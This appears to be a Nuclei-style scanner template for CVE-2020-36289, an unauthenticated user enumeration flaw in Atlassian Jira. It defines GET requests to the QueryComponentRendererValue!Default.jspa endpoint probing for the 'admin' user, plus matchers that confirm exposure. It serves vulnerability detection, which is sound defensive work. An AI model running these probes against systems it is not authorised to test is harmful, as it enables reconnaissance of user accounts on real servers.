id: CVE-2020-36289 info: name: Atlassian Jira Unauth User Enumeration author: dhiyaneshDk severity: medium description: Affected versions of Atlassian Jira Server and Data Center allow an unauthenticated user to enumerate users via an Information Disclosure vulnerability in the QueryComponentRendererValue!Default.jspa endpoint. The affected versions are before version 8.5.13, from version 8.6.0 before 8.13.5, and from version 8.14.0 before 8.15.1. reference: - https://twitter.com/ptswarm/status/1402644004781633540 - https://nvd.nist.gov/vuln/detail/CVE-2020-36289 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2020-36289 cwe-id: CWE-200 tags: cve,cve2020,jira,atlassian,unauth requests: - method: GET path: - '{{BaseURL}}/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin' - '{{BaseURL}}/jira/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin' matchers-condition: and matchers: - type: status status: - 200 - type: word words: - 'rel=\"admin\"' - type: word words: - 'application/json' part: header